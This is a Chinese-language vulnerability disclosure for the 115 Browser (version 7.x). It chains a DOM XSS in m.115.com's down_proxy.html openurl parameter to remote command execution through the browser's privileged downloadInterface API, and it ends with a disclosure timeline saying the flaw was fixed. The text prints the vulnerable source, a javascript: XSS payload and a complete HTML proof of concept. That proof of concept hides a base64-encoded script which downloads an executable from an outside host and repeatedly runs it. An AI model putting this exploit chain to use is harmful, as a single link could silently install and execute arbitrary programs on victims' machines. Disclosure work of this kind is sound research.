点我的链接就能弹你一脸计算器
比较经典的国产浏览器“特权域”问题，115 浏览器从 DOMXSS 到远程命令执行漏洞，目前官方已修复。
0x01 DownProxy XSS
view-source: http://m.115.com/down_proxy.html
search = search || window.location.search;
hash = hash || window.location.hash;
var fn = function (str, reg) {
if (str) {
var data = {};
str.replace(reg, function ($0, $1, $2, $3) {
data[ $1 ] = $3;
});
return data;
}
}
return {search: fn(search, new RegExp("([^?=&]+)(=([^&]*))?", "g")) || {},
hash: fn(hash, new RegExp("([^#=&]+)(=([^&]*))?", "g")) || {}};
}
var isAndroid = navigator.userAgent.match(/android/ig),
isIos = navigator.userAgent.match(/iphone|ipod/ig),
isIpad = navigator.userAgent.match(/ipad/ig),
isWeixin = (/MicroMessenger/ig).test(navigator.userAgent),
params = localParam(),
docid = params.search['docid'],
isappinstalled = params.search['isappinstalled'] || params.search['appinstall'],
openurl = (params.search['openurl'] ? params.search['openurl'] : false),
gotourl = (params.search['goto'] ? decodeURIComponent(params.search['goto']) : false),
gotokey = (params.search['key'] ? params.search['key'] : false),
gotovalue = (params.search['val'] ? decodeURIComponent(params.search['val']) : false),
gotodep = (params.search['tid'] ? decodeURIComponent(params.search['tid']) : false),
iframe = document.getElementById('ifr'),
iframe2 = document.getElementById('ifr2'),
showurl = params.search['showurl'];
openurl = openurl || 'oof.disk://';
if(gotokey){
openurl = 'oof.disk://' + gotokey;
if(gotovalue){
openurl += "/" + gotovalue;
}
if(gotodep){
openurl += "/" + gotodep;
} }
window.onload = function () {
if (!isWeixin) {
if(isAndroid){
if(showurl){
window.location.href = decodeURIComponent(showurl);
return;
}
}
iframe.src = openurl;
setTimeout(function () {
if(gotourl){
window.location.href = gotourl;
}
else{
if ((isIos || isIpad) && !isAndroid) {
window.location.href =
"https://itunes.apple.com/us/app/115wang-pan/id647500047?mt=8";
window.setTimeout(function(){window.location.href =
'http://a.app.qq.com/o/simple.jsp?pkgname=com.ylmf.androidclient';}, 1000);
} else if (isAndroid) {
其中 iframe.src -> openurl -> params.search 环节出现问题，导致可使用伪协议嵌入 iframe 造成 XSS 漏洞：
params = localParam(),
openurl = (params.search['openurl'] ? params.search['openurl'] : false),
openurl = openurl \|\| 'oof.disk://';
iframe.src = openurl;
Payload: http://m.115.com/down_proxy.html?openurl=javascript:alert(document.domain)
0x02 FINDAPI
for(i in downloadInterface){console.log(i)}
VM227:2 getLiXianIngUrls
VM227:2 getLiXianUnFinishedUrls
VM227:2 deleteLiXianUnFinishedUrl
VM227:2 switchToOfflineWin
VM227:2 createBTTaskForWeb
VM227:2 beginDownload
VM227:2 cancelOfflineDownload
VM227:2 createOfflineDown
VM227:2 getOfflineErrorInfo
VM227:2 deleteOfflineErrorInfo
VM227:2 GetTaskList
VM227:2 ContinueDownload
VM227:2 PauseDownload
VM227:2 RemoveDownload
VM227:2 RunDownloadItem
VM227:2 OpenFolderItem
VM227:2 StartAllDownloads
VM227:2 PauseAllDownloads
VM227:2 ClearHasFinished
VM227:2 ShowDefaultFolder
VM227:2 EnableShutdown
VM227:2 GetDownloadErrorList
VM227:2 ShowNewDownloadTaskWindow
VM227:2 OpenURL
测试可知使用 OpenURL(URL) 传入二进制文件网址时则会自动下载文件到浏览器设置的下载文件夹内，随后使用 RunDownloadItem 打开，通过查看 RunDownloadItem 的原型可以知道：
function(id) { native function NativeRunDownloadItem(); return NativeRunDownloadItem(id);}
需要传入任务 ID 才能够运行下载的项目，所以这里我们使用 ClearHasFinished() 移除掉已经下载文件的记录然后遍历小范围的数字传参即可。
0x03 POC
<html>
<head>
<title>115 Browser version 7.2.5.15 RCE</title>
<meta charset="utf8"/>
</head>
<body>
<h1>115 Browser 7.* RCE Vulnerability</h1>
{gfm-js-extract-pre-1}
<img style="margin-top: 10px;" width=490 src="https://ws1.sinaimg.cn/large/c334041bgw1fax1c9wjb0j21c810gwl2.jpg"/>
//
w=window.parent.downloadInterface;w.ClearHasFinished();w.OpenURL('http://server.n0tr00t.com/calc.exe');window.parent.setTimeout(function(){for(var
i=0;i<300;i++){w.RunDownloadItem(i);}},5000);
<iframe src="http://m.115.com/down_proxy.html?openurl=javascript:eval(window.parent.location.hash.substr(1))#eval(atob('dz13aW5kb3cucGFyZW50LmRvd25sb2FkSW50ZXJmYWNlO3cuQ2xlYXJIYXNGaW5pc2hlZCgpO3cuT3BlblVSTCgnaHR0cDovL3NlcnZlci5uMHRyMDB0LmNvbS9jYWxjLmV4ZScpO3dpbmRvdy5wYXJlbnQuc2V0VGltZW91dChmdW5jdGlvbigpe2Zvcih2YXIgaT0wO2k8MzAwO2krKyl7dy5SdW5Eb3dubG9hZEl0ZW0oaSk7fX0sNTAwMCk7'))"
style="display:none"></iframe>
</body>
</html>
Discloure Timeline
2016/12/19 Report vuln detail to 115.
2016/12/24 M.115.com xss fix.
2016/12/25 The DownloadAPI update is expected to be released after the new year.
2016/12/26 Public, via @evi1m0.
Reference
https://www.seebug.org/vuldb/ssvid-92585
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